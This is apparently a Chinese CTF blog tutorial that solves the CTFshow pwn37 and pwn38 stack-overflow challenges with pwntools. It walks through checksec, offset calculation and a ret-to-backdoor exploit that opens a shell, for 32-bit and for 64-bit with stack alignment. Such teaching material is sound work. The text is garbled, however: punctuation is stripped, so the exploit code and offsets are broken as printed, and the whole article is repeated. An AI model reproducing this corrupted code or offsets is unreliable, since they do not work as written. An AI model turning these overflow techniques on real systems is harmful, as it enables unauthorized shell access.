CTFshow PWN入门实战从零开始掌握栈溢出与Python Pwntools在CTF竞赛中PWN题型往往是最能体现技术实力的部分之一。对于初学者来说栈溢出是最基础也最经典的漏洞类型。本文将以CTFshow平台的pwn37和pwn38两道题目为例手把手教你如何从零开始完成栈溢出攻击特别适合刚接触二进制安全的新手学习。1. 环境准备与基础知识在开始实战之前我们需要准备好必要的工具和环境。对于PWN题目最基本的工具链包括Linux环境推荐使用Ubuntu 18.04/20.04 LTSPython 3用于编写exp脚本PwntoolsPython的漏洞利用开发库GDBGNU调试器用于动态调试IDA Pro/Ghidra反汇编工具用于静态分析安装Pwntools非常简单只需执行以下命令pip install pwntools栈溢出的基本原理是当程序向栈上的缓冲区写入数据时没有正确检查输入长度导致数据覆盖了栈上的其他重要信息如返回地址。通过精心构造输入我们可以控制程序的执行流程。2. pwn37解题详解32位栈溢出实战2.1 初步分析首先我们需要检查目标程序的基本信息checksec pwn37输出可能类似于[*] /path/to/pwn37 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)这表明这是一个32位程序没有栈保护No canaryNX保护开启栈不可执行没有地址随机化No PIE。2.2 静态分析使用IDA Pro打开pwn37分析main函数和关键函数。在本题中我们发现存在一个名为ctfshow的函数其中存在明显的栈溢出漏洞int ctfshow() { char buf[10]; // 缓冲区大小不足 gets(buf); // 不安全的输入函数 return 0; }通过分析栈布局可以确定从buf到返回地址的偏移量。在32位程序中通常需要考虑buf到ebp的距离ebp本身占4字节然后是返回地址在本题中buf到ebp的距离是0x1218字节加上4字节的ebp总共需要22字节才能覆盖到返回地址。2.3 寻找后门函数幸运的是这个程序中存在一个后门函数backdoor()它直接调用了system(/bin/sh)。我们可以通过IDA的字符串搜索功能ShiftF12找到/bin/sh字符串然后追踪其引用找到后门函数地址0x8048521。2.4 编写exp下面是完整的exp代码from pwn import * context.log_level debug p remote(pwn.challenge.ctf.show, 28146) payload ba*(0x12 4) # 填充buf和ebp payload p32(0x8048521) # 覆盖返回地址为backdoor函数地址 p.sendline(payload) p.interactive()这段代码做了以下几件事建立与远程服务的连接构造payload先用垃圾数据填充缓冲区然后用后门函数地址覆盖返回地址发送payload并获取交互式shell2.5 常见问题排查新手在尝试时可能会遇到以下问题连接失败检查网络连接和题目端口是否正确exp不工作确认偏移量计算是否正确地址是否准确权限问题确保exp文件有执行权限chmod x exp.py3. pwn38解题详解64位栈溢出差异3.1 64位与32位的区别64位程序的栈溢出与32位有几个关键区别寄存器大小变为8字节rbp占8字节函数调用约定不同前六个参数通过寄存器传递可能需要处理堆栈对齐问题3.2 题目分析检查pwn38的保护机制checksec pwn38输出可能显示这是一个64位程序Arch: amd64-64-little。通过IDA分析我们发现buf到rbp的距离是0xA10字节同样存在后门函数backdoor()地址是0x400657需要覆盖8字节的rbp然后才是返回地址3.3 堆栈平衡问题64位程序中我们需要特别注意堆栈平衡。当调用函数时栈指针(rsp)需要16字节对齐。因此我们需要在payload中添加一个额外的返回地址来保持对齐。有两种常见解决方案使用后门函数中的一个ret指令地址如0x40065B使用后门函数末尾的retn地址0x40066D3.4 编写exp第一种方案使用ret gadgetfrom pwn import * context.log_level debug p remote(pwn.challenge.ctf.show, 28189) payload ba*(0xA 8) # 填充buf和rbp payload p64(0x40065B) # ret gadget用于堆栈对齐 payload p64(0x400657) # backdoor函数地址 p.sendline(payload) p.interactive()第二种方案使用函数末尾的retnfrom pwn import * context.log_level debug p remote(pwn.challenge.ctf.show, 28189) payload ba*(0xA 8) # 填充buf和rbp payload p64(0x40066D) # 函数末尾的retn地址 payload p64(0x400657) # backdoor函数地址 p.sendline(payload) p.interactive()两种方案都能成功获取shell体现了64位栈溢出的灵活性。4. 进阶技巧与扩展学习掌握了基础栈溢出后可以进一步学习以下内容4.1 ROPReturn-Oriented Programming当没有现成的后门函数时可以通过ROP链构造系统调用。基本步骤寻找gadgetpop rdi; ret等设置参数如将/bin/sh地址放入rdi调用system函数4.2 泄露libc地址当ASLR开启时可以通过内存泄露获取libc基地址然后计算system等函数的实际地址。4.3 工具推荐ROPgadget自动搜索gadgetone_gadget查找直接获取shell的gadgetLibcSearcher根据泄露的地址查找libc版本4.4 练习建议建议从易到难尝试以下题目CTFshow pwn36-pwn40系列PicoCTF的简单pwn题XCTF高校战队的入门题5. 总结与实战心得通过pwn37和pwn38两道题目我们系统学习了32位和64位栈溢出的基本区别如何计算偏移量如何定位和利用后门函数64位程序中的堆栈对齐问题使用pwntools编写exp的基本方法在实际操作中我发现以下几点特别重要精确计算偏移一个字节的偏差都可能导致失败注意字节序p32/p64的使用要正确多尝试不同方案如pwn38的两种解法善用调试工具GDB的cyclic pattern可以帮助定位崩溃点最后建议初学者多动手实践从简单题目开始逐步构建自己的漏洞利用思维。
CTFshow PWN入门实战:手把手教你用Python Pwntools搞定pwn37/pwn38栈溢出(附完整exp)
发布时间:2026/6/3 11:08:07
CTFshow PWN入门实战从零开始掌握栈溢出与Python Pwntools在CTF竞赛中PWN题型往往是最能体现技术实力的部分之一。对于初学者来说栈溢出是最基础也最经典的漏洞类型。本文将以CTFshow平台的pwn37和pwn38两道题目为例手把手教你如何从零开始完成栈溢出攻击特别适合刚接触二进制安全的新手学习。1. 环境准备与基础知识在开始实战之前我们需要准备好必要的工具和环境。对于PWN题目最基本的工具链包括Linux环境推荐使用Ubuntu 18.04/20.04 LTSPython 3用于编写exp脚本PwntoolsPython的漏洞利用开发库GDBGNU调试器用于动态调试IDA Pro/Ghidra反汇编工具用于静态分析安装Pwntools非常简单只需执行以下命令pip install pwntools栈溢出的基本原理是当程序向栈上的缓冲区写入数据时没有正确检查输入长度导致数据覆盖了栈上的其他重要信息如返回地址。通过精心构造输入我们可以控制程序的执行流程。2. pwn37解题详解32位栈溢出实战2.1 初步分析首先我们需要检查目标程序的基本信息checksec pwn37输出可能类似于[*] /path/to/pwn37 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)这表明这是一个32位程序没有栈保护No canaryNX保护开启栈不可执行没有地址随机化No PIE。2.2 静态分析使用IDA Pro打开pwn37分析main函数和关键函数。在本题中我们发现存在一个名为ctfshow的函数其中存在明显的栈溢出漏洞int ctfshow() { char buf[10]; // 缓冲区大小不足 gets(buf); // 不安全的输入函数 return 0; }通过分析栈布局可以确定从buf到返回地址的偏移量。在32位程序中通常需要考虑buf到ebp的距离ebp本身占4字节然后是返回地址在本题中buf到ebp的距离是0x1218字节加上4字节的ebp总共需要22字节才能覆盖到返回地址。2.3 寻找后门函数幸运的是这个程序中存在一个后门函数backdoor()它直接调用了system(/bin/sh)。我们可以通过IDA的字符串搜索功能ShiftF12找到/bin/sh字符串然后追踪其引用找到后门函数地址0x8048521。2.4 编写exp下面是完整的exp代码from pwn import * context.log_level debug p remote(pwn.challenge.ctf.show, 28146) payload ba*(0x12 4) # 填充buf和ebp payload p32(0x8048521) # 覆盖返回地址为backdoor函数地址 p.sendline(payload) p.interactive()这段代码做了以下几件事建立与远程服务的连接构造payload先用垃圾数据填充缓冲区然后用后门函数地址覆盖返回地址发送payload并获取交互式shell2.5 常见问题排查新手在尝试时可能会遇到以下问题连接失败检查网络连接和题目端口是否正确exp不工作确认偏移量计算是否正确地址是否准确权限问题确保exp文件有执行权限chmod x exp.py3. pwn38解题详解64位栈溢出差异3.1 64位与32位的区别64位程序的栈溢出与32位有几个关键区别寄存器大小变为8字节rbp占8字节函数调用约定不同前六个参数通过寄存器传递可能需要处理堆栈对齐问题3.2 题目分析检查pwn38的保护机制checksec pwn38输出可能显示这是一个64位程序Arch: amd64-64-little。通过IDA分析我们发现buf到rbp的距离是0xA10字节同样存在后门函数backdoor()地址是0x400657需要覆盖8字节的rbp然后才是返回地址3.3 堆栈平衡问题64位程序中我们需要特别注意堆栈平衡。当调用函数时栈指针(rsp)需要16字节对齐。因此我们需要在payload中添加一个额外的返回地址来保持对齐。有两种常见解决方案使用后门函数中的一个ret指令地址如0x40065B使用后门函数末尾的retn地址0x40066D3.4 编写exp第一种方案使用ret gadgetfrom pwn import * context.log_level debug p remote(pwn.challenge.ctf.show, 28189) payload ba*(0xA 8) # 填充buf和rbp payload p64(0x40065B) # ret gadget用于堆栈对齐 payload p64(0x400657) # backdoor函数地址 p.sendline(payload) p.interactive()第二种方案使用函数末尾的retnfrom pwn import * context.log_level debug p remote(pwn.challenge.ctf.show, 28189) payload ba*(0xA 8) # 填充buf和rbp payload p64(0x40066D) # 函数末尾的retn地址 payload p64(0x400657) # backdoor函数地址 p.sendline(payload) p.interactive()两种方案都能成功获取shell体现了64位栈溢出的灵活性。4. 进阶技巧与扩展学习掌握了基础栈溢出后可以进一步学习以下内容4.1 ROPReturn-Oriented Programming当没有现成的后门函数时可以通过ROP链构造系统调用。基本步骤寻找gadgetpop rdi; ret等设置参数如将/bin/sh地址放入rdi调用system函数4.2 泄露libc地址当ASLR开启时可以通过内存泄露获取libc基地址然后计算system等函数的实际地址。4.3 工具推荐ROPgadget自动搜索gadgetone_gadget查找直接获取shell的gadgetLibcSearcher根据泄露的地址查找libc版本4.4 练习建议建议从易到难尝试以下题目CTFshow pwn36-pwn40系列PicoCTF的简单pwn题XCTF高校战队的入门题5. 总结与实战心得通过pwn37和pwn38两道题目我们系统学习了32位和64位栈溢出的基本区别如何计算偏移量如何定位和利用后门函数64位程序中的堆栈对齐问题使用pwntools编写exp的基本方法在实际操作中我发现以下几点特别重要精确计算偏移一个字节的偏差都可能导致失败注意字节序p32/p64的使用要正确多尝试不同方案如pwn38的两种解法善用调试工具GDB的cyclic pattern可以帮助定位崩溃点最后建议初学者多动手实践从简单题目开始逐步构建自己的漏洞利用思维。